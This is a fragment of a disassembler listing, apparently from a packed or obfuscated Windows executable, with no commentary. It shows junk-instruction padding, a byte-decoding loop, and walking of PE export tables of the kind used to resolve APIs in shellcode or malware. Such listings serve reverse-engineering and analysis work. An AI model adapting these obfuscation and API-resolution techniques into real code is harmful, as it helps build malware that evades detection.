; ---------------------------------------------------------------------------


loc_48EBD0:				; CODE XREF: sub_48EB00+43j
		xchg	edx, ebp
		xchg	edx, ebp
		cld
		cld
		nop
		cmp	ecx, [edx+18h]
		lea	esi, [esi]
		mov	bl, bl
		jz	locret_48ED63
		xor	eax, eax


loc_48EBE6:				; CODE XREF: sub_48EB00:loc_48EB95j
		push	eax
		cmp	ecx, 87E56E0Bh
		not	ebx
		not	ebx
		not	edx
		not	edx
		nop
		cld
		cmc
		not	dl
		not	dl
		shl	eax, 4
		jmp	loc_48A0FB
; ---------------------------------------------------------------------------


loc_48EC04:				; CODE XREF: sub_48EB00+56j
		test	esi, 8BDD0CC6h
		push	ecx
		push	eax
		cld
		nop
		push	edx
		nop
		nop
		cld
		nop
		call	dword ptr [ebp-3Bh]
		nop
		and	cl, dl
		add	esp, 20h
		jmp	loc_48ECB2
; ---------------------------------------------------------------------------


loc_48EC24:				; CODE XREF: sub_48EB00-40j
		test	cl, 97h
		push	eax
		call	sub_48A035
		nop
		not	edi
		xchg	bh, ah
		xchg	bh, ah
		sub	ecx, [esp+8]
		jmp	loc_48EE27
; ---------------------------------------------------------------------------


loc_48EC3D:				; CODE XREF: sub_48EB00-4A2Dj
		jz	loc_48EB74
		mov	ebx, 0AFF4C30Ch


loc_48EC48:				; CODE XREF: sub_48EB00+BBj
					; sub_48ED6C+2Fj
					; DATA XREF: ...
		popa
		retn
; ---------------------------------------------------------------------------


loc_48EC4A:				; CODE XREF: sub_48ECE8+10j
		pop	dword ptr [edx]
		mov	[edx+8], eax
		xchg	ecx, ecx
		mov	[edx+4], eax
		dec	cl
		inc	ch
		mov	[edx+0Ch], eax
		jmp	loc_48A000
; ---------------------------------------------------------------------------


loc_48EC60:				; CODE XREF: sub_48EB00+366j
		mov	dx, [ebp+1DDh]
		not	cl
		sbb	esi, ebx
		call	sub_48A016
		jmp	loc_48A10F
; ---------------------------------------------------------------------------


loc_48EC75:				; CODE XREF: sub_48ED6C+48j
		shr	cx, 2
		lea	esi, [eax-6AD9C0Eh]
		shr	cx, 4
		not	al
		jnz	loc_48A0AC
		push	34h
		pop	eax
		jmp	loc_48EDFD
; ---------------------------------------------------------------------------


loc_48EC93:				; CODE XREF: sub_48A016+5j
		nop


loc_48EC94:				; CODE XREF: sub_48EB00+1A7j
		xor	[eax], dh
		sub	[eax], dl
		not	ebp
		not	ebp
		mov	ecx, ecx
		nop
		cld
		lea	esi, [esi]
		lea	eax, [eax+1]
		dec	ecx
		nop
		jnz	loc_48EC94
		jmp	loc_48ED5C
; ---------------------------------------------------------------------------


loc_48ECB2:				; CODE XREF: sub_48EB00+11Fj
		inc	edx
		retn
sub_48EB00	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dd 0BF85E281h, 304C7D34h, 1B005261h
		db 0A2h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48EB00


loc_48ECC1:				; CODE XREF: sub_48EB00+383j
		wait
		mov	edi, esp
		push	edx
		mov	ch, ah
		mov	esi, esi
		lea	esi, [edi-6Ah]
		xchg	cl, ch
		nop
		mov	al, 0DBh
		cld
		sbb	cl, cl
		not	cl
		jmp	loc_48EE39
; END OF FUNCTION CHUNK	FOR sub_48EB00
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48ED6C


loc_48ECDB:				; CODE XREF: sub_48ED6C-5Ej
					; sub_48ED6C+5Fj
		push	0FFFFFFFEh
		pop	eax
		add	eax, [ebx]
		jmp	loc_48A06F
; END OF FUNCTION CHUNK	FOR sub_48ED6C
; ---------------------------------------------------------------------------
		adc	cl, 24h

; =============== S U B	R O U T	I N E =======================================



sub_48ECE8	proc near		; CODE XREF: sub_48B36F+35p
					; sub_48EB00+Ep

var_4		= byte ptr -4
var_2		= byte ptr -2
arg_0		= byte ptr  4

		push	0
		sub	eax, eax
		lea	edx, [esp+4+arg_0]
		sub	[esp+4+var_2], 0FCh
		inc	[esp+4+var_4]
		jmp	loc_48EC4A
sub_48ECE8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48ED6C


loc_48ECFD:				; CODE XREF: sub_48ED6C-4CF3j
					; sub_48ED6C-4CE2j
		lea	ebx, [ebx-100h]
		dec	edi
		xor	edi, 0FFFFFFBEh
		adc	dl, dh
		xor	ah, 0D1h
		xchg	esi, edi
		jmp	loc_48ECDB
; ---------------------------------------------------------------------------


loc_48ED13:				; CODE XREF: sub_48ED6C-4CE8j
		push	0F86A89E9h
		call	sub_48ED6C
		nop
		add	eax, 0FFFFFFB6h
		inc	eax
		xchg	esi, [ebp-3Bh]
		jmp	short loc_48ED8B
; END OF FUNCTION CHUNK	FOR sub_48ED6C
; ---------------------------------------------------------------------------
		dw 1E14h
		db 3Bh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48EB00


loc_48ED2D:				; CODE XREF: sub_48EB00+90j
		not	eax
		cmc
		add	al, 0AAh
		mov	ah, al
		xchg	al, al
		add	ah, bl
		call	sub_48ED6C
		not	al
		xchg	esi, ecx
		mov	ah, 35h
		sbb	edi, 1F0ED9EDh
		add	eax, edi
		clc
		mov	edx, ebx
		push	0FFFFFFFEh
		call	ecx
		push	187BE2DFh
		jmp	loc_48EAAB
; ---------------------------------------------------------------------------


loc_48ED5C:				; CODE XREF: sub_48EB00+1ADj
		lea	edx, [eax+35CB9623h]
		cwde

locret_48ED63:				; CODE XREF: sub_48EB00+DEj
		retn
; END OF FUNCTION CHUNK	FOR sub_48EB00
; ---------------------------------------------------------------------------
		cld
		lea	ecx, [ecx-1Eh]
		mov	edx, ecx
		mov	edx, ebp

; =============== S U B	R O U T	I N E =======================================



sub_48ED6C	proc near		; CODE XREF: sub_48EB00-4A4Ap
					; sub_48EB00-49E7p ...

; FUNCTION CHUNK AT 0048A020 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0048A05B SIZE 00000034 BYTES
; FUNCTION CHUNK AT 0048ECDB SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0048ECFD SIZE 0000002D BYTES

		mov	eax, ebx
		xor	cl, dh
		mov	edi, 61EFA5D9h
		nop
		add	dl, ah
		mov	dh, ah
		inc	dh
		not	ch
		and	cl, 48h
		dec	cl
		add	eax, [ebx+3Ch]
		jmp	short loc_48EDEC
; ---------------------------------------------------------------------------
		db 1, 0A7h, 0C6h
; ---------------------------------------------------------------------------


loc_48ED8B:				; CODE XREF: sub_48ED6C-44j
		mov	ecx, 0D3F88DDDh
		xchg	eax, edi
		nop
		call	sub_48EB00
		or	eax, eax
		mov	esi, ebp
		jz	loc_48EC48
		inc	dh
		lea	edi, [esi-1Ch]
		nop
		mov	dh, 67h
		push	ds
		not	dh
		xor	al, 0B8h
		inc	esi
		add	ah, dl
		lea	esi, [edi]
		pop	ecx
		jmp	loc_48EC75
; ---------------------------------------------------------------------------


loc_48EDB9:				; CODE XREF: sub_48EB00-4A59j
		add	esi, ebx
		add	edi, ebx
		movzx	eax, word ptr [esi+ecx*2]
		jmp	loc_48A020
; ---------------------------------------------------------------------------


loc_48EDC6:				; CODE XREF: sub_48EAE9+3BEj
		xor	[ebx+13h], ebp
		pop	ebx
		pop	ebp
		jmp	loc_48ECDB
; ---------------------------------------------------------------------------


loc_48EDD0:				; CODE XREF: sub_48A035+21j
		xor	edx, 71h
		xor	dh, 9Fh


loc_48EDD6:				; CODE XREF: sub_48ED6C+75j
		call	esi
		mov	dl, dh
		cmp	eax, edi
		mov	dl, ch
		not	cl
		wait
		jz	loc_48EDD6
		jmp	loc_48EB5B
; ---------------------------------------------------------------------------


loc_48EDEC:				; CODE XREF: sub_48ED6C+1Aj
		and	dh, 0D8h
		mov	edx, [eax+78h]
		lea	edx, [edx+ebx]
		push	dword ptr [edx+20h]
		jmp	loc_48A05B
sub_48ED6C	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48EB00


loc_48EDFD:				; CODE XREF: sub_48EB00+18Ej
		sahf
		mov	ecx, 0DE86488h
		mov	ecx, 845D015Fh
		lea	esi, [edi-6A9AF4E3h]
		push	dword ptr fs:[eax]
		mov	dl, bl
		pop	eax
		inc	edx
		lea	edx, [ebx-7D8C0E25h]
		not	cl
		lea	esi, [ebp-35h]
		wait
		jmp	loc_48A0D1
; ---------------------------------------------------------------------------


loc_48EE27:				; CODE XREF: sub_48EB00+138j
		sub	eax, [esp-0B0h+arg_AC]
		not	esi
		sbb	edx, [esp-0B0h+arg_B0]
		lea	esp, [esp+0Ch]
		jmp	short loc_48EE6B
; END OF FUNCTION CHUNK	FOR sub_48EB00
; ---------------------------------------------------------------------------
		dw 903Fh
		db 23h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48EB00


loc_48EE39:				; CODE XREF: sub_48EB00+1D6j
		dec	esi
		sbb	dl, ah
		mov	esi, esi
		mul	cl
		add	edx, 0E379D9Bh
		xchg	edi, esi
		sbb	edx, 47ECF28Bh
		xchg	dh, dh
		and	ch, cl
		not	dl
		add	[ebp+189h], al
		inc	edx
		aas
		adc	edi, eax
		cld
		cdq
		lea	eax, [ebp-49D3h]
		jmp	loc_48EC60
; ---------------------------------------------------------------------------


loc_48EE6B:				; CODE XREF: sub_48EB00+334j
		test	al, al
		mov	edi, 4D35FFA6h
		cld
		div	ecx
		lea	edx, [ebp+166h]
		test	ecx, edi
		stc
		sub	eax, 186C3h
		jmp	loc_48ECC1
; END OF FUNCTION CHUNK	FOR sub_48EB00
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48EAE9


loc_48EE88:				; CODE XREF: sub_48EAE9+9j
		or	edi, 5978CC51h
		sub	ebp, 0FFB7EF09h
		push	dword ptr [esp+20h]
		push	dword ptr [ebx+17h]
		xor	eax, esp
		stc
		and	dword ptr [ebx+13h], 0
		cld
		mov	[esp+28h+var_28], 0
		jmp	loc_48EDC6
; END OF FUNCTION CHUNK	FOR sub_48EAE9
; ---------------------------------------------------------------------------
		align 200h
UPX2		ends

; Section 4. (virtual address 0008F000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 0008F000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 48F000h
		align 2000h
_idata2		ends


		end start